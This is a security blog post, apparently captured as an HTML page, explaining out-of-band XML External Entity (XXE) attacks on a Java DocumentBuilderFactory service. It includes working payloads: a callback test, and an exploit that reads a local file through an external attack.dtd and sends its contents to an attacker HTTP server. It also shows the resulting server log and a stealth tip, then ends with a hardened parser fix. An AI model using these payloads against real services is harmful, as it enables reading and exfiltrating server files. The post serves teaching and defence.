-
Notifications
You must be signed in to change notification settings - Fork 0
/
xmlexploits.html
414 lines (385 loc) · 22.8 KB
/
xmlexploits.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="author" content="F3real" />
<meta name="keywords" content="xml,exploitation,XXE,java" />
<meta name="description" content="How to exploit XML service" />
<title>XML exploits - EnSec blog</title>
<link href="https://f3real.github.io/theme/css/combined.css" rel="stylesheet" />
<!-- Feeds -->
</head>
<body data-spy="scroll" data-target="#scrollspy">
<div id="wrapper">
<!-- Sidebar -->
<nav id="sidebar-wrapper-small" class="twitchy-background">
<ul id="accordion-small" class="sidebar-nav sidebar-nav-small">
<li>
<a href="https://f3real.github.io" title="EnSec blog" class="collapsed">
<span class="fas fa-home"></span>
</a>
</li>
<li class="nav-divider"></li>
<li>
<a href="https://f3real.github.io/archives.html" title="Recent Articles" class="collapsed">
<span class="fas fa-th-list"></span>
</a>
</li>
<li class="nav-divider"></li>
<li>
<a data-toggle="collapse" data-parent="#accordion-small" href="#collapse-social-small" title="Social" class="collapsed">
<i class="fas fa-users padding-small"></i>
</a>
</li>
<li class="panel anti-panel"><ul id="collapse-social-small" class="collapse ">
<li>
<a href="https://github.com/F3real" title="Github"><i class="fab fa-github-square padding-small"></i></a>
</li>
<li>
<a href="https://www.linkedin.com/in/stefan-ili%C4%87-61a004111" title="Linkedin"><i class="fab fa-linkedin padding-small"></i></a>
</li>
</ul></li>
<li class="nav-divider"></li>
<li>
<a href="#" title="Back to top" class="collapsed">
<span class="fas fa-arrow-up"></span>
</a>
</li>
</ul>
</nav>
<nav id="sidebar-wrapper" class="twitchy-background">
<ul id="accordion" class="sidebar-nav">
<li class="sidebar-brand">
<a href="https://f3real.github.io/">
<span class="fas fa-home padding-small"></span>
EnSec blog
</a>
</li>
<li>
<a href="https://f3real.github.io/archives.html">
<span class="fas fa-th-list padding-small"></span>
Archives
</a>
</li>
<li class="nav-divider"></li>
<li>
<a data-toggle="collapse" data-parent="#accordion" href="#collapse-social">
<i class="fas fa-users padding-small"></i>
Contact
</a>
</li>
<li class="panel anti-panel"><ul id="collapse-social" class="sidebar_submenu collapse ">
<li>
<a href="https://github.com/F3real" title="Github">
<i class="fab fa-github-square padding-small"></i>
Github
</a>
</li>
<li>
<a href="https://www.linkedin.com/in/stefan-ili%C4%87-61a004111" title="Linkedin">
<i class="fab fa-linkedin padding-small"></i>
Linkedin
</a>
</li>
</ul></li>
<li class="nav-divider"></li>
<li class="panel anti-panel"><ul id="collapse-pages" class="sidebar_submenu collapse ">
</ul></li>
<li class="nav-divider"></li>
<li>
<a data-toggle="collapse" data-parent="#accordion" href="#collapse-categories">
<i class="fas fa-folder-open padding-small"></i>
Categories
</a>
</li>
<li class="panel anti-panel"><ul id="collapse-categories" class="sidebar_submenu collapse ">
<li >
<a href="https://f3real.github.io/category/ctf.html">
<i class="fas fa-folder-open padding-small"></i>
ctf
<span class="badge badge-secondary float-right categorybadge">28</span>
</a>
</li>
<li class="active">
<a href="https://f3real.github.io/category/misc.html">
<i class="fas fa-folder-open padding-small"></i>
misc
<span class="badge badge-secondary float-right categorybadge">15</span>
</a>
</li>
<li >
<a href="https://f3real.github.io/category/reversing.html">
<i class="fas fa-folder-open padding-small"></i>
reversing
<span class="badge badge-secondary float-right categorybadge">6</span>
</a>
</li>
<li >
<a href="https://f3real.github.io/category/tutorial.html">
<i class="fas fa-folder-open padding-small"></i>
tutorial
<span class="badge badge-secondary float-right categorybadge">5</span>
</a>
</li>
</ul></li>
</ul>
</nav>
<!-- /#sidebar-wrapper -->
<!-- open/close sidebar -->
<button onclick="toggleMenu();return false;" class="btn btn-primary" id="menu-toggle">
<span id="right-arrow" class="fas fa-chevron-right" title="expand sidebar"></span>
<span id="left-arrow" class="fas fa-chevron-left" title="minimize sidebar"></span>
</button>
<!-- /open/close sidebar -->
<!-- Page Content -->
<div id="page-content-wrapper">
<div class="container-fluid">
<section id="content">
<article>
<div class="row">
<div class="col-lg-10">
<header class="page-header">
<h1>
<a href="https://f3real.github.io/xmlexploits.html"
rel="bookmark"
title="Permalink to XML exploits">
XML exploits
</a>
<small>
<div class="post-info">
<div class="publish-info-block">
<small>
<span class="published">
<i class="fa fa-calendar padding-small"></i><time datetime="2020-01-26T10:02:00+01:00"> Sun 26 January 2020</time>
</span>
<span class="category">
<i class="fa fa-folder-open padding-small"></i><a href="https://f3real.github.io/category/misc.html">misc</a>
</span>
<span class="tags">
<i class="fa fa-tags padding-small"></i>
<a href="https://f3real.github.io/tag/xml.html">xml</a> / <a href="https://f3real.github.io/tag/exploitation.html">exploitation</a> / <a href="https://f3real.github.io/tag/xxe.html">XXE</a> / <a href="https://f3real.github.io/tag/java.html">java</a> </span>
</small>
</div>
</div><!-- /.post-info --> </small>
</h1>
</header>
</div>
</div>
<div class="row">
<div class="col-lg-10">
<div class="entry-content">
<p>Parsers are always prone to the bugs and present one of the best attack surfaces for the exploitation. I was working on the service which takes XML input and performs some parsing, so I decided to check if and how exploitable it is.</p>
<p>Since I have access to the source, here is the snippet how the service handles XML:</p>
<div class="highlight"><pre><span></span><code><span class="n">DocumentBuilderFactory</span><span class="w"> </span><span class="n">factory</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">DocumentBuilderFactory</span><span class="p">.</span><span class="na">newInstance</span><span class="p">();</span>
<span class="n">factory</span><span class="p">.</span><span class="na">setIgnoringElementContentWhitespace</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span>
<span class="n">factory</span><span class="p">.</span><span class="na">setNamespaceAware</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span>
<span class="n">DocumentBuilder</span><span class="w"> </span><span class="n">parser</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">factory</span><span class="p">.</span><span class="na">newDocumentBuilder</span><span class="p">();</span>
<span class="p">....</span>
<span class="n">input</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">parser</span><span class="p">.</span><span class="na">parse</span><span class="p">(</span><span class="n">recieved</span><span class="p">);</span>
</code></pre></div>
<p>So there is just basic <code>DocumentBuilderFactory</code> with only some additional configuration. I initially assumed, and most people probably do the same, that since we just want to parse the XML file there should be no issues. </p>
<p>Turns out this is very wrong, just parsing input using itself is dangerous. The <code>DocumentBuilder</code> is inherently unsafe if not configured properly. It works on the blacklist principle and allows by default a lot of unsafe options. I assume it is left like this due to backward compatibility with older code.</p>
<p>So let's take a look at how this setup could be exploited.</p>
<p>For the attacker server, I am just gonna use pythons simple HTTP server:</p>
<div class="highlight"><pre><span></span><code>python -m http.server 8000 --bind 127.0.0.1
</code></pre></div>
<p>One of the first tests we can do is check if the service will do a callback to our server if presented with a specially crafted XML.</p>
<div class="highlight"><pre><span></span><code><?xml version="1.0"?>
<!DOCTYPE doc [
<!ENTITY % ent1 SYSTEM "http://127.0.0.1:8000/test">
%ent1;
]>
</code></pre></div>
<p>If service is vulnerable we will see <code>test</code> resource being requested from our python server.</p>
<p>To better understand how this test works, we need to understand XML we sent.
In the XML, we are defining DTD (Document Type Definition).
The syntax for the internal DTD (one defined within XML document) is:</p>
<div class="highlight"><pre><span></span><code><!DOCTYPE root_element [DTD]>
</code></pre></div>
<p>There are some rules we should follow (but parsers are usually forgiving):</p>
<ul>
<li>The document type declaration must be placed between the XML declaration and the first element (root element) in the document - well-formedness constraint.</li>
<li>The keyword DOCTYPE must be followed by the name of the root element in the XML document - validity constraint.</li>
<li>The keyword DOCTYPE must be in upper case</li>
</ul>
<p>There are also external and combined DTD definitions, but we are not going to use them. For more information about DTD definitions you can take a look <a href="https://www.quackit.com/xml/tutorial/dtd_doctype.cfm">here</a> or <a href="https://xmlwriter.net/xml_guide/doctype_declaration.shtml">here</a>.</p>
<p>Inside of DTD, we are a defining entity. Entities reference data that act as an abbreviation or can be found at an external location. They are used to reduce the entry of repetitive information and also allow for easier editing.</p>
<p>In DTD we are defining an external (parsed) parameter entity. Like all other parameter entities, they can be only used inside DTD.</p>
<p>The syntax for the internal parameter entity is:</p>
<div class="highlight"><pre><span></span><code><!ENTITY % name SYSTEM "URI">
%name;
</code></pre></div>
<p>Basically, with this DTD we are telling parser to visit <code>URI</code> we provide to find definition for our parameter and replace <code>%name;</code> with its value. This in itself is not a big security issue but it is a necessary part of the other attacks.</p>
<p>We can achieve the same effect with:</p>
<div class="highlight"><pre><span></span><code><?xml version="1.0"?>
<!DOCTYPE doc [
<!ELEMENT elm1 ANY >
<!ENTITY ent1 SYSTEM "http://127.0.0.1:8000/test">
]>
<elm1>&ent1;</elm1>
</code></pre></div>
<p>Here we use element type declarations to define a new element that may appear in the XML document. The syntax for the element is:</p>
<div class="highlight"><pre><span></span><code><!ELEMENT name allowable_contents>
</code></pre></div>
<p>The keyword <code>ANY</code> just allows all types of content in the element. We also define an external (parsed) general entity. General entities can only replace text inside the XML document instance, not DTD. The syntax for external (parsed) entities is:</p>
<div class="highlight"><pre><span></span><code><!ENTITY name SYSTEM "URI">
</code></pre></div>
<p>More information regarding entities can be found <a href="https://xmlwriter.net/xml_guide/entity_declaration.shtml">here</a>.</p>
<p>These types of attacks are called <code>XXE (XML External Entity)</code>.</p>
<p>For now, we have seen only how to get callback back from the XML parser. But this is not really useful. In my case of service I was testing, we don't get XML output back which complicates things. So we have to do <code>out-of-band</code> (OOB-XXE).</p>
<p>In case if service returns XML output, we can just do simpler <code>in-band</code> attack. I won't cover it here, but there are many resources available online.</p>
<p>So how we can get data? We have already seen that service will request the URL we provide, and this can be abused to get data back.</p>
<p>For testing, we will create the flag.txt file on C drive.</p>
<p>Our exploit:</p>
<div class="highlight"><pre><span></span><code><?xml version="1.0"?>
<!DOCTYPE doc [
<!ELEMENT elm1 ANY >
<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % ent1 SYSTEM "http://127.0.0.1:8000/attack.dtd">
%ent1;
]>
<elm1>&res;</elm1>
</code></pre></div>
<p>Attack.dtd:</p>
<div class="highlight"><pre><span></span><code><!ENTITY % all "<!ENTITY res SYSTEM 'http://127.0.0.1:8000/%file;'>">
%all;
</code></pre></div>
<p>The exploit looks a bit more complicated than previous due to well-formedness constraint. In the internal DTD subset (which is quite strict), references to parameter entities are not allowed within markup declarations <a href="https://www.w3.org/TR/xml/#wfc-PEinInternalSubset">1</a><a href="https://stackoverflow.com/questions/39549360/parameter-entities-in-internal-dtd">2</a><a href="https://stackoverflow.com/questions/30534260/are-parameter-entity-references-in-sgml-xml-parsible-using-net/30536075">3</a>. We have to use an external DTD (separate file).</p>
<p>We also need to use a parameter entity to create an internal entity (which then can be used in markup) with content from our target file.</p>
<p>If the attack is successful, in our server log, we should see the content of flag.txt we created.</p>
<div class="highlight"><pre><span></span><code>Serving HTTP on 127.0.0.1 port 8000 (http://127.0.0.1:8000/) ...
127.0.0.1 - - [09/Feb/2020 17:20:58] "GET /attack.dtd HTTP/1.1" 200 -
127.0.0.1 - - [09/Feb/2020 17:20:58] code 404, message File not found
127.0.0.1 - - [09/Feb/2020 17:20:58] "GET /U%20got%20the%20flag! HTTP/1.1" 404 -
</code></pre></div>
<p>For additional stealth, we can also move the line:</p>
<div class="highlight"><pre><span></span><code><!ENTITY % file SYSTEM "file:///flag.txt">
</code></pre></div>
<p>to attacker.dtd hiding the information about the file we are extracting.</p>
<p>There are also many other XML based attacks like <code>Billion laughs</code>, <code>Quadratic Blowup</code> etc, but I won't cover them here.</p>
<p>So as endnote, definitely double check security best practices when using parsers.</p>
<p>More secure parsing code:</p>
<div class="highlight"><pre><span></span><code><span class="n">DocumentBuilderFactory</span><span class="w"> </span><span class="n">factory</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">DocumentBuilderFactory</span><span class="p">.</span><span class="na">newInstance</span><span class="p">();</span>
<span class="n">factory</span><span class="p">.</span><span class="na">setFeature</span><span class="p">(</span><span class="n">XMLConstants</span><span class="p">.</span><span class="na">FEATURE_SECURE_PROCESSING</span><span class="p">,</span><span class="w"> </span><span class="kc">true</span><span class="p">);</span><span class="w"> </span><span class="c1">// <----- added</span>
<span class="n">factory</span><span class="p">.</span><span class="na">setIgnoringElementContentWhitespace</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span>
<span class="n">factory</span><span class="p">.</span><span class="na">setNamespaceAware</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span>
<span class="n">DocumentBuilder</span><span class="w"> </span><span class="n">parser</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">factory</span><span class="p">.</span><span class="na">newDocumentBuilder</span><span class="p">();</span>
<span class="p">....</span>
<span class="n">input</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">parser</span><span class="p">.</span><span class="na">parse</span><span class="p">(</span><span class="n">recieved</span><span class="p">);</span>
</code></pre></div>
</div>
<footer class="text-right">
<p>- F3real</p>
</footer>
<div id="show-comments" class="span7 text-center">
<a href="https://f3real.github.io/xmlexploits.html#disqus_thread"
data-disqus-identifier="xmlexploits"
class="btn btn-primary twitchy-background">Show Comments</a>
</div>
<section id="comments" class="comments hidden">
<hr/>
<h2>Comments</h2>
<div id="disqus_thread"></div>
<noscript>Please enable JavaScript to view the <a href="http://disqus.com/?ref_noscript">comments powered by
Disqus.</a></noscript>
<a href="http://disqus.com" class="dsq-brlink">comments powered by <span class="logo-disqus">Disqus</span></a>
</section>
</div>
</div>
</article>
</section>
<footer>
<hr>
<div class="row">
<div class="col-lg-10 text-center">
<p><small>
Built by <a href="http://docs.getpelican.com/en/latest">Pelican</a> / <a href="https://github.com/F3real/pelican-twitchy">pelican-twitchy</a>
· © 2024 F3real
</small></p>
</div>
</div>
</footer> </div>
</div>
<!-- /#page-content-wrapper -->
</div>
<!-- /#wrapper -->
<!-- disqus -->
<script type="text/javascript">
/* * * CONFIGURATION VARIABLES: EDIT BEFORE PASTING INTO YOUR WEBPAGE * * */
var disqus_shortname = 'https-f3real-github-io'; // required: replace example with your forum shortname
var disqus_identifier = 'xmlexploits';
var disqus_url = 'https://f3real.github.io/xmlexploits.html';
var disqus_config = function () {
this.language = "en";
};
var commentsDiv = document.getElementById('show-comments');
commentsDiv.onclick = function() {
/* * * DON'T EDIT BELOW THIS LINE * * */
(function () {
var dsq = document.createElement('script');
dsq.type = 'text/javascript';
dsq.async = true;
dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
})();
this.style.display = 'none';
};
</script>
<!-- /disqus -->
<script>
const wrapper = document.getElementById('wrapper');
const sidebarBig = document.getElementById('sidebar-wrapper');
const sidebarSmall = document.getElementById('sidebar-wrapper-small');
const triggers = Array.from(document.querySelectorAll('[data-toggle="collapse"]'));
for (var i = 0; i < triggers.length; i++) {
triggers[i].addEventListener('click', (ev) => {
const elm = ev.currentTarget;
ev.preventDefault();
const selector = elm.getAttribute('href').replace('#','');
elm.classList.toggle('collapsed');
document.getElementById(selector).classList.toggle('show');
}, false);
}
function showBigNav() {;
sidebarBig.style.display = 'block';
sidebarSmall.style.display = 'none';
}
function showSmallNav() {
sidebarBig.style.display = 'none';
sidebarSmall.style.display = 'block';
}
const mediaQuery = window.matchMedia('(min-width:768px)');
mediaQuery.onchange = e => {
if (wrapper.classList.contains('toggled')) {
wrapper.classList.remove('toggled');
} else {
if (e.matches) {
showBigNav();
} else {
showSmallNav();
}
}
}
function setNavbar() {
var condition = wrapper.classList.contains('toggled');
if (!mediaQuery.matches) {
condition = !condition;
}
if (condition) {
showSmallNav();
} else {
showBigNav();
}
}
function toggleMenu(){
wrapper.classList.toggle('toggled');
setNavbar();
}
window.onload = setNavbar;
</script>
<script data-goatcounter="https://f3real.goatcounter.com/count"
async src="//gc.zgo.at/count.js"></script>
</body>
</html>